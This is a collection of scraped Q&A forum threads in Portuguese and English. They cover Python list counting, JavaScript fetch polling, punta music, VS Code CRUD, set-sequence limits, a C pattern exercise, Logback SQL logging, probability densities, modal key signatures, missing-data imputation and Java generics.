Do jeito que você está fazendo, está contanto a ocorrência da palavra na lista "nomes" dentro de cada palavra  do "array1". (Strings também são sequências, por isso tem o método "count")
Isso aí funciona, mas não é o melhor jeito - ja que vai percorrer o array1 uma vez para cada palavra buscada - não vai fazer diferença nenhuma para um caso só com algumas linhas, e num programa que roda uma vez só - o tempo deve ser inferior a 10 milisegundos. Mas se isso acontece numa aplicação Web em que o tempo de resposta seja crítico, pode começar a fazer diferença.
O ideal é um algoritmo que percorra toda a lista inicial (array1) apenas uma vez, e já vá contando os valores de todas as chaves que encontrar. O Python tem a classe collections.Counter que pode fazer isso de uma vez - mas para entender melhor o algoritmo:

array1 = ...
nomes = {'VALUE1': 0, 'VALUE2': 0}

for frase in array1:
   if frase in nomes:
       nomes[frase] += 1

print(nomes)

(As duas formas até aqui são só se o match de "nomes" for pra linha inteira do "array1" - se o valor em "nomes" for apenas uma parte da frase em "array1" tem que criar algo usando dois "for"  mesmo - ou transferindo um "for" para uma regular expression)
Answer: O Python tem um função nativa chamada Count() que, como o nome já diz, faz contas.
Assim é muito mais simples rodar ela dentro de um for para cada um dos itens da sua lista nomese printar a quantidade dos mesmos. Olha como ficou bem mais curto e simples o seu código:
array1 = [
'VALUE1',
'VALUE1',
'VALUE2',
'VALUE2',
'VALUE2',
'VALUE3',
'VALUE4',
'VALUE5',
]

nomes = ['VALUE1', 'VALUE2']

for x in nomes:
  print(array1.count(x))

Answer: esse metodo funciona , tem esse site que tem algums outros metodos pra python talvez ajude https://rstudio-pubs-static.s3.amazonaws.com/325708_d9b07b07bf2b4bc8803ba6d53d834eeb.html
array1 = ['VALUE1','VALUE1','VALUE2','VALUE2','VALUE2','VALUE3','VALUE4','VALUE5',]
nomes = ['VALUE1', 'VALUE2']
value1 = 0
value2 = 0
x= 0
while x < len(array1):
    if array1[x] == nomes[0]:
        value1= value1+1
    elif array1[x] == nomes[1]:
        value2= value2+1
    x= x+1
print(f'o Numero de {nomes[0]} = {value1} \no Numero de {nomes[1]} = {value2}')

Tambem existe o metodo Counts
Answer: O problema é que ao fazer for valores in array1: você está percorrendo os valores dessa lista, passando para a variável valores uma string. Para obter o output desejado, faça dessa seguinte forma:
array1 = [
'VALUE1',
'VALUE1',
'VALUE2',
'VALUE2',
'VALUE2',
'VALUE3',
'VALUE4',
'VALUE5',
]

nomes = ['VALUE1', 'VALUE2']

for linha in nomes:
    print(array1.count(linha))

No código que você fez, você está contando quantas vezes uma sub-string aparecia nas strings contidas na lista array1. No código que eu fiz, estou contando quantas vezes a string linha aparece no array1.
Comment: Só agora que eu percebi que me deram negativo por nenhum motivo....


How to not save data retrieved with the fetch method? Javascript

Question: I am trying to fetch data from my server as often as possible.
To do so, I use the fetch method inside an AnimationFrame.
However, this work pretty well the first 30 secondes, and then it began to lag. When I looked at the Inspector, I can see that at every fetch I perform, the data the browser received is saved in a Fetches folder... resulting in thousands of files.
How can I delete the data stored in the Fetches folder?
Here the main code:
<code>function fetch_from_server() {
    if (has_new_value) {

        let infos = new FormData();
        infos.append('x', player.x);
        infos.append('y', player.y);
        infos.append('csrfmiddlewaretoken', csrf.getAttribute('value'));

        return fetch(url_info, {
            method: 'POST',
            body: infos,
            credentials: 'same-origin',
        })
        .then(response => response.json())
        .then(json => {
            update_p(json);
        })
        .then(_ => {
            has_new_value = false;
            is_fetching = false;})
        .catch(error => console.log('Error:', error));
    }
    else {
        return fetch(url_info)
        .then(response => response.json())
        .then(json => {
            update_p(json);
        })
        .then(is_fetching = false)
        .catch(error => console.log('Error:', error));
    };
};

// Update Loop
function update(timestamp) {
    if (!is_fetching) {
        delay = (timestamp - last_update_time); // milliseconds
        is_fetching = true
        my_fetch = fetch_from_server();
    }

    rAF = window.requestAnimationFrame(update);
};
</code>
I requested the first AnimationFrame with a click Event Listener.
This is just a simple project to exchange data between browser in a mini-game. I just wanted to play with javascript but I am stuck here and I found the answer to my problem nowhere.
Thank you all!
AdrKacz
PS: Even if I often use StackOverflow, this is my first post, I apologise if I did not respect some standard.
Comment: Does this answer help you ? : https://stackoverflow.com/questions/29246444/fetch-how-do-you-make-a-non-cached-request
Answer: You should never optimize for the specific browser implementation because they can change at any time and vary on different platforms; instead, look for inefficiencies in your own code.
I think the real issue is that you're trying to solve this problem in an suboptimal way. If you  can, try to limit fetching to as slow as you can for this game (maybe once or twice a second at max). Also, try removing as many caching mechanisms and headers as you can to improve performance. If you're already doing all that and it's still slow, unfortunately you might need to rethink your design.
What you want is a constant, efficient stream of data between client and server. HTTP requests have headers, security checks, and other inefficiencies embedded within each one, which can lead to massive slowdown and bad UX upon even a single failed request.
That's why you should use a more efficient standard for small chunks of constant data like WebSocket. Not only can you make efficient requests from your client, the server can also send data directly to the client! For example, if you have a turn-based game, if one player makes a move, that player's browser can send a request to the server notifying it of the turn occurring, then the server can send data directly to all other players notifying other clients about that move.
Unfortunately, using WebSocket will require a total redesign of your application, which is why I suggest trying everything in your power to make your current fetching solution work. However, if you do want to use them, you can either implement it directly using the browser WebSocket API and some server-side library (for Node.js, something like ws) or use a novice-friendly server-client solution such as socket.io (while less performant, it will probably be much easier to use).


Where does punta music originate from?

Question: I know bachata comes from the Dominican Republic.
Which country does punta music originate from?
Comment: Possibly Belize and/or Honduras: http://en.wikipedia.org/wiki/Punta
Answer: Punta is a Garifuna music and dance style performed at celebrations and festive occasions. Created by the Garifuna people of St. Vincent best known to derive from Honduras, El Salvador, Belize, Guatemala, and parts of Nicaragua, so Central America. Hope that helps.

Where does punta music originate from?


Posso Fazer um CRUD dentro do VSCode?

Question: Olá Pessoas, estou começando a aprender um pouco de banco de dados com a linguagem de programação principal sendo JAVA, e sempre é falado sobre o CRUD(Create, Read, Update and Delete) estava dando uma olhada em alguns vídeos e sempre é usado uma IDE (NetBeans ou Eclipse)
Minha Pergunta boba é!
Posso fazer um CRUD utilizando o VSCODE como IDE?
(adoro o vscode)
<code>                                                                        Obrigado pela atenção.
</code>
Answer: Bom dia Carlos, pode sim, porém o NetBeans e Eclipse, já possuem paletas de componentes para montar uma tela com o framework Spring que te possibilita essa facilidade, ao contrário no VS Code que terá que fazer manual, até onde sei.
Comment: Como está escrito atualmente, sua resposta não é clara. Por favor, pode [edit] para adicionar mais detalhes, que ajudarão outras pessoas a entender como isso resolve a pergunta feita. Você pode encontrar mais informações sobre como escrever boas respostas [na Central de Ajuda](/help/how-to-answer).
Answer: você consegue fazer um crud até com um bloco de notas! A diferença é o trabalho necessário para fazer o mesmo.
O VS Code é um editor de códigos, o que significa que ele é um "bloco de notas" com plugins que permitem compilar os códigos. No entanto, ele se difere de uma IDE (NetBeans, Eclipse, IntelliJ etc.) pois uma IDE além de editar códigos, ela possui a documentação da linguagem e tenta prever o que você quer fazer, verificando erros em tempo de desenvolvimento e indicando melhorias.
Dessa forma, uma IDE é extremamente recomendada em projetos mais complexos, inclusive para um CRUD.
O fato dos vídeos usarem em maioria o Eclipse é porque ele é uma IDE mais antiga e consolidada no mercado, além de ter muitos plugins que permitem integrações com diferentes softwares (como o Tomcat).

Posso Fazer um CRUD dentro do VSCode?


Existence of limits of group elements

Question: Referring to the usual abelian group ($2^X, \Delta$) defined as the power set of a set with the symmetric difference as the multiplication operation. Let ($A_n \in 2^X)_{n \in \mathbb{N}}$ be a sequence of sets.
$\lim A_n$ exists iff
lim sup $A_n$ = lim inf $A_n = A$.
If lim $A_n$ and lim $B_n$ exist, what can I say about lim $A_n \Delta B_n$ and on what basis?
Answer: Note first that $x \in \limsup A_n$ if and only if, for each $N$, there exists some $n >N$ so that $x \in A_n$.
Same way, $x \in \liminf A_n$ if and only if, there exists some $N$, such that, for all $n >N$ we have $x \in A_n$.
Now, since $\lim A_n$ exists, the above implies the following:
For each $x \in X$ then exactly one of the following hold:

$x \in \lim_n A_n$. Then, there exists some $N$, such that, for all $n >N$ we have $x \in A_n$. This comes from $x \in \liminf A_n$.
$x \notin \lim_n A_n$. Then, there exists some $N$, such that, for all $n >N$ we have $x \notin A_n$. This comes from $x \notin \limsup A_n$.

Now, your problem
Denote $A=\lim A_n, B= \lim B_n$. You have 4 possible scenarios:

$x \in A, x \in B$. Therefore, there exists some $N_1, N_2$ such that $x \in A_n \forall n >N_1$ and $x \in B_n$ forall $n >N_2$.

Then, for all $n > \max\{ N_1, N_2 \}$ you have $x \notin A_n \Delta B_n$.

$x \in A, x \notin B$. Therefore, there exists some $N_1, N_2$ such that $x \in A_n \forall n >N_1$ and $x \notin B_n$ forall $n >N_2$.

Then, for all $n > \max\{ N_1, N_2 \}$ you have $x \in A_n \Delta B_n$.

$x \notin A, x \in B$. Therefore, there exists some $N_1, N_2$ such that $x \notin A_n \forall n >N_1$ and $x \in B_n$ forall $n >N_2$.

Then, for all $n > \max\{ N_1, N_2 \}$ you have $x \in A_n \Delta B_n$.

$x \notin A, x \notin B$. Therefore, there exists some $N_1, N_2$ such that $x \notin A_n \forall n >N_1$ and $x \notin B_n$ forall $n >N_2$.

Then, for all $n > \max\{ N_1, N_2 \}$ you have $x \notin A_n \Delta B_n$.
From here, it is trivial to deduce that
$$\liminf A_n \Delta B_n =A \Delta B \\
\limsup A_n \Delta B_n =A \Delta B$$

Existence of limits of group elements


Solving this pattern using abs() [I GOT MY OUTPUT.. CLOSED]

Question: P.S. I'm a beginner and I was trying to find the following output :
         1
      1  2  3
   1  2  3  4  5
1  2  3  4  5  6  7
   1  2  3  4  5
      1  2  3
         1

and here's my try :
#include<stdio.h>
#include<conio.h>

void main() {
    int n;
    scanf("%d",&n);

    for(int i=1;(i<=2*n);i++){
        int temp=1,t=2*n-1;

        for(int j=0;j<abs(n-i);j++){
            printf("  ");
        }
        for(int j=t;j>=abs((2*(i-1))-t);j--) {
            printf(" %d",temp);
            temp++;
        }
    printf("\n");
    }
}

as you can see.. I tried my best to remove the i=n condition UNSUCCESSFULLY. or if anyone can provide a more easier way to print the pattern.. I'd my grateful
Comment: What do you mean by "remove the i=n" condition? Where is that condition? What do you expect the result of removing it to be?
Comment: I don't understand.  Why is it important to remove a particular condition from the program?
Comment: Is the desired output for the input `4` or some other value?
Comment: How about using two outer loops? First for printing increasingly long lines. Second for printing one fewer decreasingly long lines. That should allow you to program more straightforward, drop the `abs()` and get rid of whatever awkward construct you do not like ... even if I still cannot find it in your shown code.
Comment: FYI, updating the title with the question status isn't how SO is supposed to work. Rather, you should accept an answer as correct, including one you write yourself if you feel so inclined. SO is meant to serve as a database of information for future users. Simply saying "I found my answer" in the title but neglecting to post it is useless for any future visitors, you might as well delete this post.
Comment: What do you get when you run your version?
Comment: C++ is not C. Please format your code blocks properly.
Comment: Please apply consistent indentation.
Comment: @nicomp I get
   1
  123
 12345
1234567
 1234567
   12345
     123
       1

I want to remove that extra 7 digit line
Comment: `int` is the *only* conforming return type for `main()` in a hosted C implementation.
Comment: @Yunnosch i increments from 0 to 2n.. at i=n
it prints a line that I dont want..
Comment: @JonathanLeffler yup for 4.. maybe I should have used 4 directly instead of declaring a variable but ye.. for that pattern, the input should be 4
Comment: @JohnBollinger cauz it prints a line I dont need in my output
Comment: No, it doesn't?  Your program prints almost the specified output for me (with input "4").  There are no extra lines, but the first  several lines are each indented one level fewer than they should be.
Comment: Thanks for indentation. Now drop three quarters of your white space, if I may propose that.
Comment: If really you just want not printing the nth line, you can try inserting at the beginning of the outer loop `if(i==n) continue;`
Comment: @Damien but that would devoid me of the required white space.. and not print a symmetric pattern. right ??
Comment: You have updated the question title to emphasize use of `abs()`.  Is it actually important to use that function?
Comment: Title modification rolled back.
Answer: For a given positive input n, you want to print 2 * n - 1 lines.
Now consider the indent of each line: it counts from n - 1 positions down to 0, then back up to n - 1.  If you number the lines starting with 1, then that indent is abs(n - line) positions.
The count of numbers to print on each line can be viewed as a function of the indent: the maximum is 2 * n - 1, and each unit of indent reduces that by 2.  With a bit of rearrangement, that gives a maximum value to print on each line of 2 * (n - indent) - 1.
That should be sufficient information for you to write a program that prints your pattern, using a single outer loop over all the pattern lines, and employing the abs() function meaningfully.  The details are left as the exercise they are meant to be.
Comment: Well, @Damien, it depends a bit on what you consider the indent and what you consider the (possibly space-padded) field.  Anyway, when I say "positions", I am being generic -- not a number of characters, but a number of indentation units, whatever those happen to be.  Obviously, if there is a desire for an additional fixed indent on each line then that can be handled as a separate matter.
Comment: Looking carefully at he figure, the ident is `n_blank = 3 * abs(line - n) + 1;`, with 1-indexed `line`.


Use logback to log SQL parameters in Spring JdbcTemplate

Question: I'm using Logback with Spring JdbcTemplate to log my SQL queries. My configurations contains next line:
<logger name="org.springframework.jdbc.core.JdbcTemplate" level="DEBUG" />

But this logs only query with wildcards ? without list of parameters.
Here on SO I found a few answers how to achieve parameters logging with log4j. But I don't want to switch to log4j.
So how can I receive parameters list for JdbcTemplate with Logback?
Edit
Actually, I'm using NamedParameterJdbcTemplate, if it matters.
Answer: Try this
<logger name="org.springframework.jdbc.core.StatementCreatorUtils" level="TRACE" />
this will show log:
Setting SQL statement parameter value: column index 1, parameter value [1234], value class [java.lang.Integer], SQL type unknown
Comment: It's a bit verbose, but it gets the job done in an out-of-the-box sort of way. Thanks!
Answer: I usually prefer handling SQL statement logging at the DataSource or JDBC driver level.
I use BoneCP DataSource/Connection Pool library, which include support for statement logging via SLF4J and many other usefull features.
If changing your DataSource/Connection Pool library is not an option, maybe you can use log4jdbc which works as a proxy jdbc driver, which logs statements to SLF4J before calling the actual jdbc driver that talks to the database.
Answer: We can use as follow :
org.hibernate.type.descriptor.sql.
See Link: https://thorben-janssen.com/hibernate-logging-guide/
Comment: `

`
Comment: Please [edit] according to [answer], using https://stackoverflow.com/editing-help and add the info from comments to the answer itself.
Answer: If the spring boot version is lower than 5.1 you will not get results. The parameters and the query are treated as separate objects, so the only result you will find in your log will be something like "....AND (A.COD)=TRIM(?)" Extending NamedParameterJdbcTemplate I think is the only solution.


Choose c so that f is a density function

Question: Let the function f : R→R with c > 0 be defined by
$$
f(x) :=
\begin{cases}
cx,  & \text{for $0\le x\le1$} \\
cx^2, & \text{for $1\lt x\lt2$} \\\
0, & \text{otherwise}
\end{cases}
$$
i. Choose c such that f is a density function.
Ok so here I made the integral of the functions equal to 1. I get 2 values of c. $C= 2$ or $\frac7 3$
Is it normal to have 2 values of C? How do I know which one I should use?
ii. Find $P[X > 1]$ and $P[−1/2 < X < 1/2]$.
again which c or row should I use? and when I integrate, is it$ P[X\gt1]=\int_1^2 (cx)dx? $ And for $P[-\frac{1}{2}\lt x \lt \frac{1}{2}]=\int_{-\frac1 2}^{\frac 12} (cx)dx$?
Answer: Guide:

You should not have two values of $c$.
Solve for $c$ in
$$c\left( \int_0^1 x\, dx +  \int_1^2 x^2\, dx\right)=1$$
When $x>1$, use the rule in $1<x<2$.
$$P(-\frac12 < x< \frac12) = P(0\le x < \frac12)$$
Comment: That makes sense, I'll try it out now! Btw what do you mean by "use the rule in 11)$ use $cx^2$ rather than $cx$.
Comment: So for the last part do I use $cx^2$ or $cx$? How do you know which one to use?
Comment: You are interested in $0 \le x < \frac12$, they are all values which are less than $1$ isn't it?
Comment: Ah yes now i see it. Thanks for your advice!


Key signature for writing in modes other than major and minor

Question: I have trouble deciding what accidentals to put in the key signature for pieces in Dorian, Phrygian, Lydian or Mixolydian modes. There seem to be trade-offs associated with each choice.
For example, when writing in G Mixolydian, setting an empty key signature makes it look like C major or A minor. Having the F# in the key signature forces me to put accidentals all over the piece to mark F naturals.
I prefer to use (in this example) the key signature of G major and natural signs on every F, especially when writing for choir. Singers with varying reading skills will often unconsciously assume that if the piece has G as the tonic, then it is in G major. The natural sign on every F will help them remember there is something special about it.
Is there any kind of convention to follow?
Comment: The music itself should clarify any confusion about key signature.  How do you distinguish between C-major and A-minor?  By looking at the music: pieces in A-minor have their tonal center obviously at A rather than C.  If your tonal center is clearly G but all the F's are naturals, then any musician will be able to tell that it's in G-mixolydian.
Comment: Not an answer because someone should elaborate on it (damn, am I lazy), but look at the way jazz music is written in Real Books! There's no better examples of music changing tonal centers often. Miles Davis' "Tune up" as an example (page 437 of the [Real Book 1](https://www.swiss-jazz.ch/partitions-gratuites/Real-Book.pdf)) has an empty key signature and uses accidentals in a manner that is congenial to the key of the two of four bars to which the notes belong. Not a convention, but definitely an acquired best practice.
Answer: The convention generally follows that which we see for minor key signatures. There is not a 1 to 1 relationship of key signature to root, rather, the key signature is there to tell us what notes exist in the scale. Then, we use the music itself to figure out where the root is.
If you were writing in D phrygian, for example, would you have two sharps in the key signature and then naturalize all Fs and Cs while flatting the Bs and Es? I should hope not, that would be confusing as all heck as far as I'm concerned. You would write two flats and be done with it.
And yes, it's true, writing a natural key signature for G mixolydian could easily be confused for C major. OR for A minor. OR for F lydian, D dorian, or B locrian. We already have this convention for major and minor (i.e. Ionian and Aeolian), it's just that most people don't realize there are other possibilities. When they start seeing that in the music, they'll realize soon enough.
Edit
The "church modes" as we know them, are the ones with the most background in western tonality, so I consider this convention to apply primarily to them. When you're talking about scales like super locrian or lydian dominant, there exists far less precedent. These most commonly occur in jazz music, where the key signature (if any) is most likely going to be a simple representation of overall major or minor key. The key signature matters less in this situation, since the scale/mode is going to be changing with the chords every bar or so anyway.
Similarly, when you have scales that are less common in western common practice, like the Arabic scale, Ukrainian minor, what have you; there is little history of these being notated according to western traditional rules. In many cases the musical tradition would not be notated, or there would be an alternate system of notation.
In contrast, the common usage of modes like mixolydian or dorian would be in a harmonically inactive setting. This lends itself to using one key signature for the entirety of the piece. If you're trying to notate non-western-traditional music, feel free to make up your own rules, but if you're using these types of scales in a jazz or highly harmonically active context, your key signature is probably not going to be directly related (should it exist at all).
Comment: If I was writing in D phrygian, I would use a D minor key signature.
Answer: I've played a lot of Eastern European music and often the minor keys will show the mode in the key signature e.g G minor has F sharp and B flat in the key signature so no accidentals needed all over the place.
Another is a mode based on E that only has a G sharp in the key signature.
It may not be a familiar to a newer musician, but I find once people know about it, they're fine.
Comment: Re: I wonder what notation programs can do it - I'm pretty sure Sibelius / Finale and those newer notation programs deal with it fine.
Comment: To be more precise, the H and B convention of being B and Bb is in European countries with German based languages. Germany and Scandinavia, for example. In latin-European countries such as Italy and France, fixed-do is used and the notes are called do re mi fa sol la si/ti (according to [wikipedia](http://en.wikipedia.org/wiki/Solf%C3%A8ge), that is the case "In the major Romance and Slavic languages"). I just wanted to point out that there are differences within Europe :)
Comment: The mode based on E with a G sharp sounds like A harmonic minor, only based on E.
Comment: Re: The mode based on E with a G sharp sounds like A harmonic minor - E is the dominant chord, A minor the 5th, but the major third pulls it strongly to E despite the rest of the normally sharp notes being lowered by a semitone. European music has some fun conventions like H = B and B = B flat when it comes to chords :-)
Answer: I appear to be the only one (with my quick viewing of this thread) that feels that you SHOULD have accidentals.  If you're in D dorian, write as if it was D minor (aka one flat) and have B naturals as accidentals.  That lets your performer know that you're in a D minor mode, and looking at accidentals clarifies it.
Because it's so easy to divide the modes into Major Modes and Minor Modes, I'd stick to the key signatures of either the Minor or Major key of your scale, with appropriate accidentals.  Accidentals do not inherently mean "by accident", nor does a piece require a key signature to be in a key (oh gods Poulenc's Oboe Sonata?).  Consistent accidentals give just as much information as a key signature, and sometimes more.
I think the main problem that previous posters had with using existing key signatures and accidentals, was that people used examples of Minor Modes with Major key signatures.  That's just silly guys! :-P
And that's how -I- use modes when writing and when teaching.
Comment: D Dorian has no actual relationship to D Aeolian other than the tonic. D Dorian is effectively a "key" just as D Aeolian or "relative minor" is seen as a "minor key". If A Aeolian has the same key signature as C Major, so then it follows that D Dorian must have the same key signature as C Major.
Comment: In Swedish traditional music, this is the most common way it's done. Most players don't seem to think in terms of modes at all, and if a fiddler tells you a tune is in Am you have no way of knowing ift the f's and g's are sharp or natural without hearing the tune. In my experience from often asking them about it (I am a harmonica player) they typically don't know themselves without going through the tune to see. Also, accidentals are common, so much so that it's not always obvious if e.g the sixths are major or minor by default.
Answer: Seems to me the most practical way would be to write the mode name in there.  Make it obvious.
Answer: A clef armature is not meant to represent a musical key or mode, but rather to simplify the music reading. Musicians have a physiological mechanical memory for each. In contemporary music, after the atonal, dodecafonic and serial schools, clef armatures are becoming deprecated.
For modal music, you should use the key signature/clef armature relative to a pure mode.
For example, two sharps for E dorian, two flats for Eb lydian and so on. In cases where you want a complex mode, you'll need to put the extra accidentals as they occur. For example, a C augmented mixolydian would have a B flat at the clef (for C mixolydian), then a G sharp along the score. This is the simplest way for the instrumentalist to read.
If you want your players to know the mode of your tune or passage (useful for guiding improvisation), you might write the scale down explicitly for reference.
Comment: The German and Dutch words do not have much to do with "armature"; they mean literally "foresign" or "foresymbol."  I would also note that the French word "clef" (modern spelling *clé)* means "key."
Comment: @phoog, You are right, I have removed the argument about nomenclature.
Answer: Most music I've seen that uses modes other than major and minor just uses the key signature that requires the fewest accidentals, and I've seen people who try to read it run into both problems you mention. (I'm thinking of two different choir pieces in F# mixolydian: people thought the first one was in B major and sight-read the second one as if the key signature were actually F# major.)
I think the solution you prefer is fine, but the real solution would be to increase general awareness of modes besides major and minor. :)
Comment: Yes, that's another problem. When you come to that amount of sharps in the key signature, you don't really count them. I would just assume the tonality from the start of the piece, which is not good.
Answer: When I was a beginning musician I wanted the key signature that told me what notes to play, with the fewest accidentals written in the line.  When I got a little more advanced I realized that knowing the "real" key/mode is important for understanding harmonic properties.  This matters if you need to know where your part is in the blend (e.g. am I on the 3rd? the 5th? are you going to make me look at the bass line to find out?) or if anybody is going to be improvising.  In your example, it is the difference between people thinking the piece is in C and knowing that it is in some flavor of G (though not ionian).
So unless you are writing a line for a single voice/instrument that will not be accompanied in any way, I would notate it per mode and use the accidentals.
Comment: Yes, I wondered about that sort of thing too!  Eventually I learned. :-)  (While I learned to play music from a young age, I didn't actually learn any music theory until college -- at which point I realized how much I'd been missing out on.)
Comment: Monica -- your answer brought back memories.  I remember playing pieces in middle school where there would be a pair of key changes (say from C-major to G-major and back) where in the 1-sharp section I didn't have a single F or F# written so I wondered why the composer bothered to change the key signature for me. It wasn't until later that I realized the wisdom of showing a player the surrounding key/mode.
Comment: I imagine the tuba players must have run across this often, since if you're usually just playing the bass of I, ii, IV, V then adding a sharp and switching to the dominant doesn't ever use the new sharpened 7th degree.
Answer: It appears that there is no definitively correct answer, with various sources indicating different approaches.  So I submit the following argument for the use of accidentals for D Dorian, G mixolydian etc. as pure opinion with no claim to authority.
The most important information to immediately glean from a key signature, it would seem to me, would be tonal center and general modal nature of the scale - major or minor, i.e. brighter or darker.
This coupled with the fact that when viewing a key signature, we almost always expect it to represent one of two possible tonal centers, each corresponding to a minor or major mode scale, I would suggest that using the standard key signature for the given tonic and mode (major or minor) would get the reader this information the fastest, and be most in line with our standard expectations.
For example, if the piece were in D Dorian, using a key signature corresponding to D minor (i.e. one B flat) would far more rapidly convey a tonal center of D and a minor modal nature, than would a key signature with no sharps or flats.  Even though the D Dorian scale has none.
That the reader may at first assume the piece was in D natural minor rather than D Dorian is less important than at first assuming the piece will be in A minor or C major, as is likely for most of us, with no sharps or flats in the key signature.
Seeing B natural accidentals in the piece would then lead to a minor ;) and less immediately important refinement of that initial assessment, that the piece is in fact in Dorian rather than natural minor.
In the example mentioned above, namely D Phrygian (which would have a B and E flat in the scale), I certainly would not use two sharps, which would correspond to a standard D major key signature.  Phrygian being a minor mode scale, I would use the standard key signature for D minor, i.e. one B flat.  Actual E flat notes would then be indicated by accidentals.
Granted this method requires the use of some accidentals but not particularly excessively, and as mentioned elsewhere, accidentals themselves do convey information.
In summary for a piece with a given tonal center and in;
Ionian, Lydian or Mixolydian mode: These being major mode scales, I would use the standard key signature corresponding to a MAJOR scale for the tonic.
and for:
Aeolian, Locrian, Dorian or Phrygian mode: These being minor mode scales, I would use the standard key signature corresponding to a MINOR scale for the tonic.
Answer: great discussion!
Each key signature contains 7 notes, A-G, and therefore 7 modes; we can start on any one of the 7 notes within a key signature.
Therefore, each of those 7 modes should use that key signature, otherwise we're teaching and/or encouraging a huge misconception and factual inaccuracy around key.
F lydian is part of the exact same key signature as C ionian  (major). Putting it as F major with a B natural is wrong. It's also a failure to understand the circle of 4ths and 5ths and/or Western key signature in general.
Each key signature contains 7 modes by default due to having 7 notes and the fact that you can start a piece of music on any of the 7. When we move our key signature up or down a 5th/4th to gain/lose a flat or sharp, we're moving all 7 notes and therefore all 7 modes.
The ionian and aeolian are 2 of 7. The major and minor vocabulary is very misleading!
Answer: Just saw this discussion, and this site for that matter. Both very nice!
I always choose to write my music as much as possible to reflect the ideas that I have.
If I write a modal melody, I don't want to see any accidental sharps or flats, because there is nothing accidental about them (unless of course I construct a melody that uses a note outside the mode)
For instance, when I wrote a piece in G Lydian dominant scale (G A B C# D E F#), I used a key signature with only these two sharps (C# and F#). Then people have to find out about the key, and will then perceive all notes in that context.
The only exception to this for me would be if I am sure that the people reading and playing the music have no idea about these matters, and are inexperienced musicians. Then maybe I'd write in a G major scale (hoping they understand G as the tonic, and if not, at least seeing a familiar key) and lots of accidentals, making sure they notice these strange notes! :)
Answer: Keep it simple ! Use the key signature of the 'mother key'.E.g. D Dorian would have no # or b, C Phrygian would be 4flats etc. No-one has mentioned the difference between , say, G Dorian and the Dorian of G - 2 different keys !
Answer: Actually, what I prefer is a bit unconventional. Please note that I'm not advocating this, because you might run into hot discussions.
For me, as a violinist, banjoist, guitarist and bassist, I'm expected to know that two flats means Bb or Gm. Almost all sight reading musicians knows what major key a certain key signature corresponds to. Fewer, but still many knows that Bb and Gm are the same. (They are not, but that's a different discussion)
Why not flip this around? Since musicians already know that two flats mean Bb, we can write Bb instead, and expect the musicians to know what that scale is. Instead of writing the key signature the conventional way and putting two flats there, just write in text that it's in Bb major. Or G minor. Or D phrygian.
Provided that the reader knows the modes (not trivial, but not harder than the circle of fifths, which most musicians do know) writing "D phrygian" gives all the information that two flats gives, plus more. It also gives the tonal center, and it can prepare the musician mentally for the phrygian sound.
In practice, if you're writing for someone else, it's probably not a good idea. The theoretical benefits are obvious, but music notation is built on tradition.
Comment: This is going to be messy when you get to accidentals and short modulations.


Dealing with MNAR data and imputation

Question: I have a large dataset with large amounts of missing data.
My data involves particular cognitive tests and I would like to see how they are related to academic attainment controlling for SES and IQ.
I would also like to impute missing values using multiple imputation.
I have been looking at the relationship between the amount of missing data each participant has, and both how well they do on the cognitive tests and in academic achievement.  I have found that although there is no relationship between how much missing data one has and how well they do on cognitive tests, there is a relationship between how much missing data they have and how well they do at school, their SES and IQ.  This could be for many reasons but I assume this means my data is not missing at random?
I was wondering whether if I ran multiple imputation on this dataset and included the correlated variables in the imputation model whether this would account for the relationship?  Or if not, how I might be able to deal with this situation.
Many thanks!
Answer: The terminology might be getting in the way here. If the data that you have explain the probability that other data are missing, then your data might be "missing at random" (MAR) in the technical sense, even if they are not "missing completely at random" (MCAR). In that case multiple imputation is a reasonable way to proceed.
As Gelman and Hill put it in a chapter on missing data:

A more general assumption, missing at random, is that the probability a variable is missing depends only on available information. Thus, if sex, race, education, and age are recorded for all the people in the survey, then "earnings" is missing at random if the probability of nonresponse to this question depends only on these other, fully recorded variables.

Data are not "missing at random" if missingness depends either on unobserved predictors or on the values of the missing data points themselves. Unfortunately, there is no statistical way to document MAR status. If data are missing not at random (MNAR) there are ways to proceed, but you have to model the missingness mechanism. That might require some specific expertise and experience.
Comment: I have just come across another problem!  I have missing data in my covariates and my outcome measures and they are all correlated with each other. Do I put these in the same imputation and impute together or should i impute separately?
Comment: @GDon the usual recommendation, as I understand it, is to do all imputations together, drawing on as much information as possible to get a reasonable set of imputations for all missing data. You want to take advantage of correlations among variables to get the imputations. Sometimes outcomes will provide information on covariates, other times it goes the other way. I don't, however, have direct experience with imputing outcome measures, just covariate values. As I understand it, that distinction shouldn't matter if the data are MAR.
Comment: Great, thank you Ed.  You're right, I think I'm getting MNAR and MAR confused.  So if missing data can be explained by variables I have (ie. SES, IQ),  would adding these variables in the imputation model be sufficient for this relationship to be accounted for?
Comment: Including all variables that might be related to the values of the missing data in your multiple imputation is about the best you can do. I'm aware, however, of no way to show that it truly is "sufficient," as missingness might also be related to unobserved predictors. That a general problem with imputation of missing data. Tests of the sensitivity of your results to your underlying assumptions are always wise if you need to convince yourself or someone else of the reliability of your work.
Comment: Good comments by @EdM

Dealing with MNAR data and imputation


Dúvida com herança em método Java

Question: Tenho a interface abaixo
public interface BaseRelatorioDTO extends Serializable {

    public BaseFiltroDTO getFiltro();

    public List<? extends BaseRespostasDTO> getRespostas();

}

E gostaria de criar o método
public void setRespostas(final List<? extends BaseRespostasDTO> respostas);

Porém ao criar este método, todas as classes que implementam BaseRelatorioDTO e já têm este método começam a dar o erro

Name clash: The method setRespostas(List<? extends RespostaHorariosDTO>) of type RelatorioHorariosDTO has the same erasure as setRespostas(List<? extends BaseRespostasDTO>) of type BaseRelatorioDTO but does not override it.

Segue exemplo de uma das classes:
public class RelatorioHorariosDTO implements BaseRelatorioDTO {

    private static final long serialVersionUID = -3828618335258371680L;

    private FiltroHorariosDTO filtro = new FiltroHorariosDTO();
    private List<RespostaHorariosDTO> respostas = new ArrayList<RespostaHorariosDTO>();

    @Override
    public FiltroHorariosDTO getFiltro() {
        return this.filtro;
    }

    @Override
    public List<RespostaHorariosDTO> getRespostas() {
        return this.respostas;
    }

    /**
     * @param respostasParam the respostas to set
     */
    public void setRespostas(final List<RespostaHorariosDTO> respostasParam) {
        this.respostas = respostasParam;
    }
}

Se vocês observarem meu método setRespostas espera como parâmetro uma lista de RespostaHorariosDTO, sendo esta classe escrita conforme abaixo:
public class RespostaHorariosDTO implements BaseRespostasDTO {

    private static final long serialVersionUID = 5505724855293262084L;

    // Atributos e métodos acessores
}

O que estou fazendo errado que o método não pode ser declarado na interface para que eu obrigue todas as classes que implementem BaseRelatoriosDTO implementem o método setRespostas?
